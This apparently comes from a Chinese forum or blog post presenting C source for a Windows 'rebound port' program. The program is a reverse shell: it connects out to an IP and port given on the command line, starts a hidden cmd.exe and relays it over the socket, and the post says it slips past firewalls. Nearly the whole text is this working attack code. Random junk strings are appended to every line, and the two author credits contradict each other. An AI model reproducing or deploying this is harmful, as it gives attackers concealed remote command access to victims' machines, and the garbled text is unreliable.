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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jFc{$#g-  
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/* ============================== b7,qzh  
Rebound port in Windows NT a;zcAeX  
By wind,2006/7 lt4UNJ3w  
===============================*/ #.='dSj  
#include KqUFf@W  
#include Pn#Lymxh_a  
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#pragma comment(lib,"wsock32.lib") Ll`apKr  
f1{ckHAY55  
void OutputShell(); l*u@T|Fc$  
SOCKET sClient; 0#7 dm9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ex1ecPpN  
LQjqwsuN{  
void main(int argc,char **argv) WDZi @9X_  
{ ]5\vYk  
WSADATA stWsaData; x'qgpG}?]  
int nRet; )'g vaT  
SOCKADDR_IN stSaiClient,stSaiServer; >xjy P!bca  
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if(argc != 3) smU+:~  
{ qSd $$L^  
printf("Useage:\n\rRebound DestIP DestPort\n"); fm* Hk57  
return; 'n no)kQ"  
} x,%&[ 6(  
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WSAStartup(MAKEWORD(2,2),&stWsaData); -*A'6%`  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q'VS]n  
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stSaiClient.sin_family = AF_INET; 7,zARWB!?  
stSaiClient.sin_port = htons(0); On^#x]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8{YxUD  
 V("1\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _biJch  
{ )3AT=b  
printf("Bind Socket Failed!\n"); i@* ^]'  
return; 9& j]  
} \abl|;fj  
gg(U}L ]:  
stSaiServer.sin_family = AF_INET; #<o#kJL  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); EHZSM5hu  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "Tv7*3>  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qo;\dp1  
{ 8(}sZ)6  
printf("Connect Error!"); *`#,^p`j b  
return; TRZ^$<AG  
} vF&b|V+,  
OutputShell(); Nz;;X\GI  
} n1Jz49[r  
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void OutputShell() ThxrhQ q[+  
{ {/<&  
char szBuff[1024]; ho1F8TG=  
SECURITY_ATTRIBUTES stSecurityAttributes; b5Pn|5AVj  
OSVERSIONINFO stOsversionInfo; Q6K)EwN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U\ued=H  
STARTUPINFO stStartupInfo; F 4/Uu"J:  
char *szShell; R=PzR;8  
PROCESS_INFORMATION stProcessInformation; ^ne8~ ;Q  
unsigned long lBytesRead; 7,TWCVap  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jGn^<T\  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0,/x#  
stSecurityAttributes.lpSecurityDescriptor = 0; &iZYBa  
stSecurityAttributes.bInheritHandle = TRUE; kdC OcJB  
s /M~RB!w  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); dI-5%Um  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ydQS"]\g  
16|S 0 )  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [Jo TWouNU  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WFP\;(YV  
stStartupInfo.wShowWindow = SW_HIDE; h86={@Le  
stStartupInfo.hStdInput = hReadPipe; w|C~{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; aB^G  
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GetVersionEx(&stOsversionInfo); >U?Bka!  
lWvd"Vlt  
switch(stOsversionInfo.dwPlatformId) gQWX<  
{ 2r,'4%G  
case 1: Gq/6{eRo\  
szShell = "command.com"; k 5D'RD  
break; ;L2bC3  
default: @'@6vC  
szShell = "cmd.exe"; SWpUVZyd  
break; \BXVWE|  
} or}*tSKX  
de9l;zF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |`wsKr'  
7-I>5 3@  
send(sClient,szMsg,77,0); VU9P\|c@<  
while(1) #~;8#!X  
{ AF]!wUKxy  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S:/RYT"  
if(lBytesRead) 1i:g /H  
{ OL5HofgNm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )H)Udhz  
send(sClient,szBuff,lBytesRead,0); CDnz &?  
} /T[ICd2J  
else CDj Dhs  
{ e"#D){k#  
lBytesRead=recv(sClient,szBuff,1024,0); &pjV4m|j<  
if(lBytesRead<=0) break; ~aAJn IO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Y,btL'[W  
} f<Tz#w&6W  
} a +yI2s4Z  
3^> a TU<Z  
return; od*Z$Hb>'  
}
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